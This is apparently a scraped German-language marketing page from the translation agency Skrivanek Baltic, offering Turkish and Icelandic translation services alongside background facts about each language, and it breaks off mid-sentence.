Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Türkisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE TÜRKISCHE SPRACHE Der Reichtum der türkischen Sprache und Kultur ist zweifelsohne einer der Gründe, warum die Türkei ein so beliebtes Reiseziel ist. Jeder Reisende träumt davon einmal in die türkische Küche, Teekultur, ethnischen Sprachen und historische Architektur eintauchen zu dürfen. Die Türkische Sprachgesellschaft ist eine Institution, die für die Regulierung der türkischen Sprache in der Türkei zuständig ist. Sie wurde im Jahr 1932 gegründet. Der Vereinigung achtet auf den Standardwortschatz und die Grammatik der türkischen Sprache und regelt den Gebrauch der türkischen Sprache auch im öffentlichen Raum. In den letzten 100 Jahren hat sich die türkische Sprache stark verändert. Eines der Hauptziele der Türkischen Sprachgesellschaft ist die Reinigung der Sprache. Bis 1932 waren nur 35-40% der türkischen Wörter türkischen Ursprungs, der Rest waren Lehnwörter aus dem Arabischen oder Persischen. Heute sind fast 80% der Wörter in der türkischen Sprache türkischen Ursprungs. Die Türken haben ihr Alphabet 1932 vollständig reformiert. Wer sich mit der Türkei auskennt, hat vielleicht schon von Mustafa Kemal Atatürk gehört, dem ersten Präsidenten und Gründer der Republik Türkei. Nach dem Zusammenbruch des Osmanischen Reiches änderte er das türkische Alphabet grundlegend, indem er es von der arabischen zur lateinischen Schrift reformierte, wie es im Westen üblich ist. Im19. Jahrhundert begannen Lehnwörter türkischer Herkunft durch Berichte von Reisenden, Boten und Kaufleuten sowie durch historische Schriften und die Presse in die englische Sprache einzugehen. Der Einfluss des Türkischen auf das Deutsche ist heute in Wörtern wie „Kiosk“ (von köşk), „Kayak“ (von kayık), „Joghurt“ (yoğurt) usw. spürbar. Die türkische Vogelsprache (auf Türkisch kuş dili) ist eine Version des Türkischen, die mit Hilfe von lauten Pfiffen und Melodien gesprochen wird. Ursprünglich wurde sie von türkischen Bauern verwendet, um sich über große Entfernungen hinweg zu verständigen. Heute gibt es immer noch ungefähr 10. 000 Sprecher. Die Sprache wird mit Kuşköy in Verbindung gebracht, einem Dorf im Pontischen Gebirge im Norden der Türkei. Wahrscheinlich ist die Sprache vor 400 Jahren entstanden, aber der Ursprung ist noch unklar. Die UNESCO hat die Vogelsprache 2017 in die Liste des immateriellen Kulturerbes aufgenommen. Da Kuşköy ein Bauerndorf ist, das in einem tiefen Tal liegt, kann man das Pfeifen wesentlich weiter hören als nur das Rufen. Als die Dorfbewohner begannen, Mobiltelefone zu benutzen, schien dies für viele eine einfachere und effektivere Möglichkeit der Kommunikation zu sein. Deshalb bemühen sich die Bewohner des Dorfes um den Erhalt der Sprache, indem sie Feste organisieren und sie bis heute verwenden. Seit 2014 unterrichten die Einrichtungen in der Region die Sprache bereits in der Grundschule. Türkische Belletristik wird nur selten in andere Sprachen übersetzt. Aşk ist eines der mächtigsten Wörter in der türkischen Sprache und bedeutet „Liebe“. Türken gelten als sehr gefühlvoll, was ihre melodramatische Ader gut erklärt. Dieses Wort wird häufig in türkischen Gedichten, Liedern und berühmten Seifenopern des Landes verwendet. In der türkischen Sprache gilt es als unhöflich, jemanden nur mit dem Namen anzusprechen, insbesondere wenn es sich um ältere Menschen handelt. Es ist immer notwendig, dem Namen eine höfliche Anrede hinzuzufügen, zum Beispiel teyze (Tante) oder amca (Onkel). Ist der Name der angesprochenen Person nicht bekannt, so ist hanımefendi (Frau) oder beyefendi (Herr) zu verwenden. Im Türkischen ist es üblich, dass die Betonung auf der letzten Silbe liegt. Diese Regel kann jedoch nicht auf Ortsnamen angewandt werden, die aus anderen Sprachen übernommen und lokalisiert wurden, z. B. Izmir, Bursa und andere Ortsnamen, bei denen die Betonung auf der ersten Silbe liegt. In der türkischen Sprache gibt es keine Geschlechter. DAS TÜRKISCHE ALPHABET Das türkische Alphabet (türkisch: Türk alfabesi) ist in lateinischer Schrift, welche für die türkische Sprache verwendet wird. Es besteht aus 29 Buchstaben, von denen sieben (Ç, G, I, Š, Ö, S und Ü) aus dem Lateinischen für die türkische Phonetik umgewandelt wurden. Dieses Alphabet spiegelt die aktuelle türkische Aussprache und das hohe Prestige wider. Es wurde 1928 im Rahmen der Reformen Atatürks angenommen und das bis heute genutzte Alphabet für die türkische Sprache. Das türkische Alphabet ist ein Beispiel für die offizielle Latinisierung einiger Sprachen, die früher in arabischer oder kyrillischer Schrift geschrieben wurden, z. B. Aserbaidschanisch (1991), Turkmenisch (1993) und seit kurzem Kasachisch (2021). Das älteste bekannte türkische Alphabet ist das alttürkische Alphabet, dessen erste erhaltene Belege aus dem 7. Jahrhundert stammen. Insgesamt ist die türkische Sprache in vielen verschiedenen Alphabeten niedergeschrieben worden, darunter Runenschrift, Uigurisch, Kyrillisch, Arabisch, Griechisch, Latein und andere asiatische Schriftsysteme. Einige türkische Reformisten setzten sich schon lange vor Atatürks Reformen für die Verwendung der lateinischen Schrift ein. Während der früheren Reformperiode 1862 setzte sich der Staatsmann Münif Pascha für Reformen des Alphabets ein. Zu Beginn des 20. Jahrhunderts wurden ähnliche Vorschläge von einigen Schriftstellern gemacht, die mit der jungtürkischen Bewegung verbunden waren, darunter Hüseyin Cahit Yalçın, Abdullah Cevdet und Celâl Nuri İleri. Diese Frage wurde 1923 auch auf dem Ersten Wirtschaftskongress der neu gegründeten Türkischen Republik aufgeworfen und löste öffentliche Debatten aus, die mehrere Jahre lang andauerten. Heutzutage besteht das türkische Alphabet aus 21 Konsonanten und 8 kurzen Vokalen. Zusätzlich wird das diakritische Zeichen (ˆ) verwendet. Es wird zusammen mit den Buchstaben „â“, „û“, „î“ verwendet. Grammatikalisch gesehen ist es ein Weichheitszeichen, ein Langzeichen und auch ein Zeichen zur Unterscheidung von Bedeutungen zwischen Wörtern (âlem - Welt, alem - Flagge, Mondsichel in Minaretten usw. ). Es kommt nur in Wörtern vor, die aus dem Arabischen und Persischen stammen, da das Türkische weder lange Vokale noch Weichheitszeichen kennt. Heutzutage werden die türkischen Buchstaben von einigen europäischen Alphabeten übernommen: Schwedisch, Deutsch, Albanisch, Rumänisch und andere: A, B, C, Ç, D, E, F, G, Ğ, H, I, İ, J, K, L, M, N, O, Ö, P, R, S, Ş, T, U, Ü, V, Y, Z. IST DIE TÜRKISCHE SPRACHE SCHWIERIG? Das US Foreign Service Institute hat alle Sprachen der Welt nach ihrem Schwierigkeitsgrad klassifiziert, wobei die türkische Sprache in die vierte Kategorie aufgenommen wurde. Das bedeutet, dass 44 Wochen oder 1100 Stunden erforderlich sind, um die türkische Sprache zu lernen. Das mag bei anderen Sprachen der Fall sein, aber eigentlich ist es gar nicht so schwierig. Ja, das Erlernen der türkischen Sprache erfordert einige Zeit und Mühe. Das geschriebene Türkisch verwendet das lateinische Alphabet, wie viele andere Sprachen der Welt. In der türkischen Sprache gibt es keine Geschlechter, daher gibt es auch keine Artikel. Das Erlernen der Sprache wird dadurch erleichtert, dass die Wörter in der türkischen Sprache keine Betonung haben. Bei Buchstaben, die in anderen Sprachen nicht üblich sind, wird es etwas schwieriger sein. Das Einzige, was bleibt, ist, ihre Aussprache zu lernen. WO UND WIE VIELE MENSCHEN SPRECHEN TÜRKISCH? Mehr als 63 Millionen Menschen auf der ganzen Welt sprechen Türkisch, was es zur größten Sprache der türkischen Familie macht. Türkischsprachige Menschen leben hauptsächlich in der Türkei und auf Zypern sowie in kleinen Gemeinschaften in Griechenland, Bulgarien, Nordmazedonien, Kosovo, Albanien und Usbekistan. Einige Millionen Türkischsprachige leben auch in westeuropäischen Ländern, insbesondere in Deutschland. In Deutschland leben mehr als zwei Millionen Menschen mit türkischen Sprachkenntnissen. Die türkische Sprache ist die Amtssprache der Türkei und eine der Amtssprachen Zyperns. In einigen Gemeinden Nordmazedoniens und im Bezirk Prizren im Kosovo hat die türkische Sprache ebenfalls den Status einer Amtssprache, abhängig von der Anzahl der türkischsprachigen Einwohner in diesem Gebiet. Türkisch wird von den Einwohnern der Türkei und von Minderheiten in 35 Ländern gesprochen. Die türkische Sprache ist in den Ländern oder Gebieten verbreitet, die früher zum Osmanischen Reich gehörten, z. B. in Bulgarien, Rumänien, Serbien, Nordmazedonien, Syrien, Griechenland und Israel. Auch in Österreich, Belgien, Frankreich, den Niederlanden, der Schweiz und dem Vereinigten Königreich lebt eine beachtliche Zahl türkischsprachiger Menschen. Aufgrund des Einflusses der Integration beherrschen die meisten im Ausland lebenden türkischstämmigen Einwanderer die türkische Sprache nicht so gut wie die in der Türkei lebenden Türken. Fast alle Einwohner der Türkei können Türkisch, der Rest sind überwiegend Kurden. Für die meisten Menschen anderer Nationalitäten in der Türkei ist die türkische Sprache eine Zweitsprache, ihr Sprachniveau entspricht jedoch dem ihrer Muttersprache. DOLMETSCHER UND ÜBERSETZER FÜR DIE TÜRKISCHE SPRACHE Das Übersetzungsbüro Skrivanek verfügt über mehr als 25 Jahre Erfahrung auf dem Gebiet der Sprachdienstleistungen im Baltikum und in den nördlichen Ländern. Unser Team von Dolmetschern, Übersetzern und Linguisten bietet Ihnen Standarddokumente und beglaubigte Übersetzungen. Skrivanek bietet nicht nur Übersetzungen in die türkische Sprache an, sondern auch Dolmetschen sowie stilistische Verbesserungen, Lektorat und Überprüfung der Terminologie in einigen Bereichen. Für juristische Personen führen wir am häufigsten diese Textübersetzungen aus dem/ ins Türkische durch: technische Texte, Gerichtsurteile, E-Commerce und Homepages. Für Privatpersonen bieten wir Übersetzungen von Personenstandsurkunden, Ausweisdokumenten - Reisepässen, Heiratsurkunden, Geburtsurkunden, Ausbildungsdokumenten usw. Auf Wunsch des Kunden können wir gegebenenfalls jede Art von Übersetzung anfertigen. Unsere muttersprachlichen türkischen Redakteure und Korrektoren kümmern sich um die Genauigkeit der Übersetzung sowie um den Klang und Stil der Übersetzung. DIE TÜRKISCHE SPRACHE IN DER GESCHÄFTSWELT Türkisch ist die12. meistgesprochene Sprache der Welt. Die Türkei hat schnell eine Wirtschaft entwickelt, die ihr hilft, eine wichtige Rolle im internationalen Geschäft zu spielen. Deshalb ist das Erlernen der türkischen Sprache nützlich, vor allem für Privatpersonen und Unternehmen, die an einer unternehmerischen Tätigkeit in der Türkei interessiert sind. Auch die Karrieremöglichkeiten in der Türkei sind vielfältig, angefangen von der Politik über die Technologie und den Finanzsektor bis hin zum Tourismus. Wenn Sie Ihren Geschäftspartner in der Türkei mit Kenntnissen seiner Muttersprache überraschen, ist Ihr Kooperationsvertrag so gut wie unterschrieben. Wie laufen Geschäftsgespräche mit einem türkischen Geschäftsmann ab? Offizielle Besprechungen im Büro wechseln sich mit informellen Gesprächen in Cafés und Hotellounges ab. Bei beiden handelt es sich eher um lockere Gespräche ohne genauen Plan. In geschäftsmäßigen Gesprächen scherzen Türken wenig und unauffällig. Sie neigen dazu, geradeheraus zu sprechen und sagen ungern „nein“. Höflich zu sein und eine Einigung oder einen Kompromiss anzustreben ist viel wichtiger als zu informieren oder Meinungsverschiedenheiten zu erklären und zu begründen. Deswegen sind es meistens positive Gespräche, auch wenn das Ergebnis oft unklar ist. Außerdem dominiert in der türkischen Kultur die mündliche Kommunikation, weshalb das Gesagte und Gehörte mehr Gewicht als das Geschriebene haben. Die meisten Geschäfte werden mündlich abgeschlossen und es ist schwierig, eine schriftliche Bestätigung zu erhalten. Für diejenigen, die europäische Sprachen beherrschen, ist es nicht leicht, Türkisch zu lernen, vor allem, weil die Bildung von Adjektiven und die Satzstellung für europäische Verhältnisse ungewohnt sind. Türken mit schulischer Bildung können Englisch sprechen, die ältere Generation eher Französisch. Mit den anderen, besonders außerhalb der größeren Städte, ist die Wahrscheinlichkeit höher, sich auf Deutsch unterhalten zu können. Leider spielt die türkische Sprache im Geschäftsleben außerhalb der Türkei keine große Rolle. TÜRKEN IN LETTLAND UND BILATERALE BEZIEHUNGEN Ethnische Minderheiten und ihre Kultur sind ein integraler und wichtiger Bestandteil der lettischen Gesellschaft. Türkische Letten sind eine der zahlenmäßig kleinen Minderheiten in Lettland. Laut dem Portal der amtlichen Statistik Lettlands lebten 2021 253 Türken in Lettland. Im 19. Jahrhundert befanden sich das russische Zarenreich und das Osmanische Reich häufig im Krieg. Der letzte Krieg zwischen diesen beiden Großmächten begann 1877. Er dauerte zwei Jahre und ist insofern bemerkenswert, als zu dieser Zeit im Russischen Reich das allgemeine Kriegsrecht eingeführt wurde. Mehr als ein Lette tauchte in der Kriegszone der Russen und Türken auf. Später kamen Hunderte von Türken als Kriegsgefangene an die Ufer der Gauja. Die ersten Türken kamen im Winter 1877 nach Lettland, als sie als Kriegsgefangene in die Regionen von Cēsis und Līvāni gebracht wurden. Einige der Kriegsgefangenen starben schließlich aufgrund des eisigen Wetters und verschiedener Krankheiten, aber andere wurden schließlich freigelassen und blieben in der Stadt Cēsis. Die türkischen Friedhöfe in Cēsis sind als eines der 100 außergewöhnlichen Kulturerbestätten Lettlands anerkannt. Die diplomatischen Beziehungen zwischen Lettland und der Türkei wurden im Januar 1925 aufgenommen. Die Türkei hat die Annexion und Eingliederung Lettlands in die UdSSR nie anerkannt. Seit 1994 wurden verschiedene Abkommen in den Bereichen Tourismus, militärische Ausbildung, Verteidigung, Bildung, Wissenschaft, Kultur und Sport geschlossen. Im Jahr 2005 wurde zwischen den Regierungen beider Länder ein Vertrag über die Zusammenarbeit in den Bereichen Bildung, Wissenschaft, Kultur und Sport geschlossen, der Stipendien für das Studium der lettischen Sprache und Literatur vorsieht. Studierende und Lehrkräfte aus der Türkei können sich um ein Stipendium des Ministeriums für Bildung und Wissenschaft bewerben, um an lettischen Hochschuleinrichtungen zu studieren oder zu forschen oder um an von den Hochschuleinrichtungen organisierten Sommerkursen teilzunehmen. Auch in einigen kulturellen Bereichen, z. B. Literatur, Film, Musik und Tanz, kulturelle Bildung und Kunst wird zusammengearbeitet. Die lettische Kulturakademie hat ein Unterprogramm „Verbindungen zwischen den Kulturen Lettland-Türkei“. Das Programm wird bereits seit mehreren Jahren von der türkischen Botschaft und dem Yunus-Emre-Institut unterstützt. Die lettische Kulturakademie arbeitet auch im Rahmen des Programms Erasmus+ mit. Mit 14 Hochschuleinrichtungen wurden Vereinbarungen getroffen. In den bilateralen Beziehungen beider Länder ist eine positive Dynamik festzustellen. Lettland und die Türkei haben ihren Willen bekundet, den politischen Dialog fortzusetzen, die Zahl der Austauschbesuche zu erhöhen und eine aktivere wirtschaftliche Zusammenarbeit zu fördern. Die türkische Botschaft in Lettland kümmert sich um ihre Bürger in Lettland. Türkisch kann man in Lettland in einigen Sprachschulen und an der Universität von Lettland lernen. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN INS/ AUS DEM TÜRKISCHEN: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Türkisch; Türkisch nach Lettisch; Estnisch nach Türkisch; Türkisch nach Estnisch; Litauisch nach Türkisch; Türkisch nach Litauisch; Russisch nach Türkisch; Türkisch nach Russisch; Tschechisch nach Türkisch; Türkisch nach Tschechisch; Polnisch nach Türkisch; Türkisch nach Polnisch; Ukrainisch nach Türkisch; Türkisch nach Ukrainisch; Türkisch nach Spanisch; Spanisch nach Türkisch; Deutsch nach Türkisch; Türkisch nach Deutsch; Italienisch nach Türkisch; Türkisch nach Italienisch; Französisch nach Türkisch; Türkisch nach Französisch; Dänisch nach Türkisch; Türkisch nach Dänisch; Norwegisch nach Türkisch; Türkisch nach Norwegisch; Schwedisch nach Türkisch; Türkisch nach Schwedisch; Finnisch nach Türkisch; Türkisch nach Finnisch und andere. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN INS/ AUS DEM TÜRKISCHEN: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Türkisch; Türkisch nach Lettisch; Estnisch nach Türkisch; Türkisch nach Estnisch; Litauisch nach Türkisch; Türkisch nach Litauisch; Russisch nach Türkisch; Türkisch nach Russisch; Tschechisch nach Türkisch; Türkisch nach Tschechisch; Polnisch nach Türkisch; Türkisch nach Polnisch; Ukrainisch nach Türkisch; Türkisch nach Ukrainisch; Türkisch nach Spanisch; Spanisch nach Türkisch; Deutsch nach Türkisch; Türkisch nach Deutsch; Italienisch nach Türkisch; Türkisch nach Italienisch; Französisch nach Türkisch; Türkisch nach Französisch; Dänisch nach Türkisch; Türkisch nach Dänisch; Norwegisch nach Türkisch; Türkisch nach Norwegisch; Schwedisch nach Türkisch; Türkisch nach Schwedisch; Finnisch nach Türkisch; Türkisch nach Finnisch und andere. --- > Allgemeine und Fachübersetzungen in die isländische Sprache. Dolmetschen und andere Sprachdienstleistungen in isländischer Sprache. - Published: 2025-01-06 - Modified: 2025-07-10 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-islandiesu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS ISLÄNDISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS ISLÄNDISCHE? Der Preis für Übersetzungen ins und aus dem Isländischen wird für jeden Auftrag individuell berechnet. Bei der Preisberechnung werden auftragsspezifische Elemente berücksichtigt. Der Preis für Konsekutiv- und Simultandolmetschen richtet sich beispielsweise nach der Dauer der Dienstleistung, dem Ort der Veranstaltung und den Reisekosten. Bei der Simultanübersetzung werden die Kosten für die technische Unterstützung je nach Anzahl der Teilnehmer an der Veranstaltung usw. zusätzlich berechnet. Der Preis für Übersetzungen setzt sich zusammen aus dem Umfang und der Lesbarkeit des übersetzten Materials, der Abgabefrist, der Komplexität der Fachterminologie, den Textwiederholungen, der Formatierung und der Komplexität der Bilder und Grafiken, der Korrektur sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Selbstverständlich ist die Preisliste für Übersetzungen und Dolmetschen (simultan und sequentiell), Lokalisierung und Anpassungen vom und ins Isländische ein fester Bestandteil unserer Kundenverträge. Die Projektmanager des baltischen Übersetzungsbüros Skrivanek bereiten jedes Mal vor Beginn eines Übersetzungsauftrages einen detaillierten Kostenvoranschlag vor. Der Kostenvoranschlag wird in 30 Minuten erstellt. Bei Schriften werden die Anzahl der Wörter im Ausgangstext, die Wiederholungen, die Komplexität der grafischen Elemente und andere Parameter bei der Festlegung des Preises berücksichtigt. Damit Sie ein Kostenvoranschlag erhalten können, warten wir darauf, Ihre zu übersetzenden Unterlagen in unsere E-Mail zu erhalten. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Isländische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere isländischen Sprachdienstleistungen umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung ins Isländische? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE ISLÄNDISCHE SPRACHE UND ISLAND Isländisch ist eine germanische Sprache und de facto die einzige Landessprache in Island. Isländisch stammt vom Altnordischen ab, der Sprache der Wikinger, die nach Island kamen und sich dort niederließen. Die Sprache hat sich in den letzten tausend Jahren kaum verändert, so dass die Isländer stolz darauf sind, dass sie kaum Schwierigkeiten haben, Texte und altnordische Sagen aus dem10. bis13. Jahrhunderts lesen zu können. Isländisch gehört zum nordgermanischen Zweig der indogermanischen Sprachen an. Das ist ziemlich interessant, wenn man die geografische Verbreitung anderer indogermanischer Sprachen wie Griechisch und Albanisch betrachtet, die von Island durch viele Länder und mehrere tausend Kilometer getrennt sind. Isländisch ist der engste lebende Verwandte des Färöischen und bildet zusammen mit diesem und dem Norwegischen die westskandinavische Sprachgruppe, die auf die westlichen Dialekte des Altnordischen zurückgeht. Interessanterweise hatten die Dänen, obwohl sie Island von 1380 bis 1918 beherrschten, kaum Einfluss auf die Entwicklung der isländischen Sprache, die von der gesamten Bevölkerung täglich verwendet wurde. Dänisch wurde nie zur alltäglichen Sprache. Das Gleiche galt für die amerikanische Besatzung Islands während des Zweiten Weltkriegs, die in den 1950er Jahren schrittweise aufgehoben wurde. Die isländische Kultur ist die Kultur der Isländer, die auf die Traditionen der Wikinger zurückgeht und sich unter dem Einfluss der heidnischen Religion und später des Christentums entwickelt hat. Dabei konnten sie großen Veränderungen in der Vergangenheit ausweichen und seine Ursprünge bewahren. Das lag nicht daran, dass die Isländer so isoliert von den anderen Europäern lebten, sondern daran, dass zu ihren wichtigsten nationalen Identitäten der Ethnozentrismus und Konservatismus zählen. Aber auch geografische Faktoren wie das raue subarktische Klima, die langen Polartage und -nächte, die bescheidene Flora und Fauna und die Isolation vom europäischen Festland sowie Naturphänomene wie häufige Erdbeben, Vulkanausbrüche, Überschwemmungen und Schneestürme haben Island vor dem Einfluss vom Festland geschützt. Die Isländer haben die Angewohnheit, keine Regenmäntel oder Regenschirme zu tragen, da Regenkleidung im Allgemeinen nicht als modisch angesehen wird und die Isländer sehr modisch sind. Die erste feste Siedlung in Island wurde 870 n. Chr. von Wikingern aus Norwegen und Kelten von den britischen Inseln gegründet. Die Isländer schrieben zwischen dem12. und13. Jahrhundert mehrere große literarische Werke. Viele dieser Sagas wurden von unbekannten Autoren in einer Sprache verfasst, die dem Altnordischen sehr ähnlich ist. Die bekanntesten Autoren dieser Zeit waren Ari Thorgilsson (1068-1148) und Snorri Sturluson (1179-1241). 1944 erlangte Island seine Unabhängigkeit und Isländisch wurde wieder als Amts- und Schriftsprache eingeführt. Die Literatur in Island gewinnt immer mehr an Beliebtheit und die Isländer zählen zu den aktivsten Lesern und Schriftstellern der Welt. DAS ISLÄNDISCHE ALPHABET Das isländische Alphabet besteht aus 32 Buchstaben. Außerdem gibt es drei Buchstaben, die nur für Fremdwörter verwendet werden und einen gestrichenen Buchstaben, der ab und zu in Fremdwörtern vorkommt. Das Isländische verwendet das lateinische Alphabet, das mit dem englischen Alphabet identisch ist; die meisten westeuropäischen Sprachen verwenden dieses Alphabet. Es gibt einige Buchstaben, die es im Englischen nicht gibt und sogar einige Buchstaben, die nur im Isländischen verwendet werden. Die Buchstaben C, Q und W sind nicht Teil des isländischen Alphabets, werden aber in Fremdwörtern verwendet. Seit 1973 kommt der letzte Buchstabe des Alphabets, das Z, nicht mehr in isländischen Wörtern vor und wird daher auch nicht mehr verwendet. Es wird jedoch in sehr seltenen Fällen verwendet und ist in den historischen Namen von Einrichtungen, Organisationen und anderen ähnlichen Begriffen wie Verzló (eine Schule in Reykjavik) erhalten. Und Wörter, die früher den Buchstaben Z enthielten, enthalten heute den Buchstaben S. Bis 1980 bestand das isländische Alphabet aus 36 Buchstaben: A, Á, B, C, D, Ð, E, É, F, G, H, I, Í, J, K, L, M, N, O, Ó, P, Q, R, S, T, U, Ú, V, W, X, Y, Ý, Z, Þ, Æ, Ö. WIE SCHWIERIG IST DIE ISLÄNDISCHE SPRACHE? Es besteht kein Zweifel daran, dass Isländisch eine schwer zu erlernende Sprache ist, vor allem, wenn man sie nicht oft spricht. Man befürchtet, dass die Sprache ausstirbt. Jedoch gab es schon mal die Angst, dass die Sprache aussterben könnte, als das Land im18. Jahrhundert von einer Pockenepidemie und einer Hungersnot heimgesucht wurde, aber die Isländer schafften es, ihre Sprache, Kultur und Alphabetisierung zu bewahren. Wegen seines archaischen Vokabulars und seiner komplexen Grammatik gilt Isländisch als eine der am schwierigsten zu erlernenden Sprachen für Englischsprachige. Die beiden größten Schwierigkeiten beim Erlernen der isländischen Sprache sind die Aussprache und die Grammatik. Isländisch ist vom Schwierigkeitsgrad her eine Sprache der Kategorie 4. Also schwieriger als Französisch, aber immer noch viel leichter als Chinesisch. Um fließend Isländisch sprechen zu können, braucht man 1100 Stunden oder 44 Wochen Lernzeit. Das scheint eine lange Zeit zu sein, um sich einer Sprache zu widmen, aber mit den richtigen Methoden und Mitteln wird das Lernen zu einer spaßigen und aufregenden Angelegenheit. WO UND WIE VIEL WIRD ISLÄNDISCH GESPROCHEN? Die Mehrheit der Leute, die isländisch sprechen, etwa 320. 000, leben in Island, während mehr als 8. 000 in Dänemark leben. 3. 000 von ihnen sind Studenten. Etwa 5. 000 Menschen in den USA und mehr als 1. 400 in Kanada, insbesondere in der Provinz Manitoba, betrachten Isländisch als ihre Muttersprache. 97% der Isländer betrachten Isländisch als ihre Muttersprache, aber außerhalb Islands, insbesondere in Kanada, nimmt die Zahl der Sprecher allmählich ab. ÜBERSETZER UND DOLMETSCHER FÜR ISLÄNDISCH Das Team von Übersetzern und Dolmetschern für die isländische Sprache bei Skrivanek Baltic arbeitet mit Übersetzungen von Standarddokumenten, komplexen technischen Übersetzungen und beglaubigten Übersetzungen. Das Übersetzungsbüro Skrivanek bietet auch Korrekturlesen und stilistische Verbesserung von Texten in isländischer Sprache, Erstellung von SEO-Inhalten und Adaption an den isländischen Markt und Mentalität. Unsere Sprachexperten geben Ihnen gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Für Geschäftskunden übersetzen wir vor allem folgende Texte ins und aus dem Isländischen: Inhalte von Websites und E-Commerce, Anpassung von Werbeslogans, Kooperationsvereinbarungen, Rechtsakte, Gerichtsurteile und Geschäftsunterlagen. Wir bieten auch sequentielles Dolmetschen für geschäftliche und andere Arten von Treffen, Konferenzen und anderen Veranstaltungen sowie für die Plattform ZOOM und andere Online-Plattformen an. Für Privatpersonen bieten wir Übersetzungen von Personalausweisen, Pässen, medizinischen Dokumenten usw. an. ISLÄNDISCHE SPRACHE IN DER GESCHÄFTSWELT Isländisch wird außerhalb Islands nicht als Geschäftssprache verwendet. Englisch und Dänisch sind in isländischen Schulen neben der Muttersprache weit verbreitet, so dass beide Sprachen auch in der isländischen Geschäftswelt verwendet werden. In Unternehmen, in denen Ausländer arbeiten, wird Englisch gesprochen, so dass es nicht notwendig ist, Isländisch zu lernen, bevor man an einem Geschäftstreffen teilnimmt. Island hat seine eigene Sprache, aber Englisch und Dänisch sind so weit verbreitet, da beide Sprachen im isländischen Schulsystem obligatorisch sind. Die dänische Version des Isländischen wird oft als Skandinavíska bezeichnet und wird auch von Norwegern und Schweden weithin verstanden. Isländer wirken 